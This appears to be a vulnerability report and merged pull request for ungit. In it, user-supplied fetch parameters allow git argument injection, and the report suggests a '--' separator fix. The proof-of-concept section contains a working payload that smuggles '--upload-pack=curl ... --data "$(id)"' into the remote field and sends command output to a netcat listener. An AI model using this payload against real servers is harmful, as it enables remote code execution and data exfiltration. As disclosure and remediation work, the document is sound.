

Here is the code that accepts these values:

//

```
ungit/source/git-api.js
  Lines 294 to 297 in 6aff6dc
  294
            'fetch',
   295
            req.body.remote,
            req.body.ref ? req.body.ref : '',
  296
   297
            config.autoPruneOnFetch ? '--prune' : '',
app.post(
${exports.pathPrefix}/fetch ,
ensureAuthenticated,
ensurePathExists,
ensureValidSocketId,
(req, res) => {
// Allow a little longer timeout on fetch (10min)
if (res.setTimeout) res.setTimeout(tenMinTimeoutMs);
    const task = gitPromise({
      commands: credentialsOption(req.body.socketId, req.body.remote).concat([
         'fetch',
        req.body.remote,
        req.body.ref ? req.body.ref : '',
        config.autoPruneOnFetch ? '--prune' : '',
      repoPath: req.body.path,
      timeout: tenMinTimeoutMs,
    jsonResultOrFailProm(res, task).finally(emitGitDirectoryChanged.bind(null, req.body.path));
```

Potential Fix

);

A possible remediation to fix this issue could be to add -- (see here for more information about it https://git-scm.com/docs/gitcli/2.25.0#_description) before the user provided values (it's just a suggestion):

```
commands: credentialsOption(req.body.socketId, req.body.remote).concat([
  'fetch',
  config.autoPruneOnFetch ? '--prune' : '',
  '--',
  req.body.remote,
  req.body.ref ? req.body.ref : ''
]),
```

Proof Of Concept/Steps to Reproduce

```
Install ungit and setup a project (I used ungit repo itself)
cd /home/ubuntu/poc/
npm install -g ungit
git clone https://github.com/FredrikNoren/ungit.git
cd ungit/
ungit
the project will be available at http://localhost:8448/#/repository?path=/home/ubuntu/poc/ungit
RCE Exploitation
setup a listener for accepting incoming connections:
nc -nvlp 8000
run the following curl command to get the output of the id command:
curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data
"$(id)"", "ref": "foobar", "socketId":1}' -H "Content-Type: application/json" -X POST
http://localhost:8448/api/fetch
This is the same request sent:
  POST /api/fetch HTTP/1.1
  Host: localhost:8448
  Content-Length: 134
  sec-ch-ua: "Chromium"; v="97", " Not; A Brand"; v="99"
  Accept: application/json
  Content-Type: application/json
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/97.0.4692.71 Safari/537.36
  sec-ch-ua-platform: "Linux"
  Origin: http://localhost:8448/
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: [http://localhost:8448/
  Accept-Encoding](http://localhost:8448/%0DAccept-Encoding): gzip, deflate
  Accept-Language: en-US, en; q=0.9
  Connection: close
  {"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data
  \"$(id)\"",
  "ref": "foobar",
  "socketId":1}
```





Add -- before potential user provided input to make it disambiguating #1509



campersau approved these changes on Mar 18

View changes

🗓 jung-kim merged commit 0f16fa5 into master on Mar 18 18 of 19 checks passed

View details

- 👸 jung-kim deleted the jk/vuln branch 8 months ago
- et campersau mentioned this pull request on Mar 18

Prepare version 1.5.20 #1511

№ Merged

Reviewers



No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

2 participants



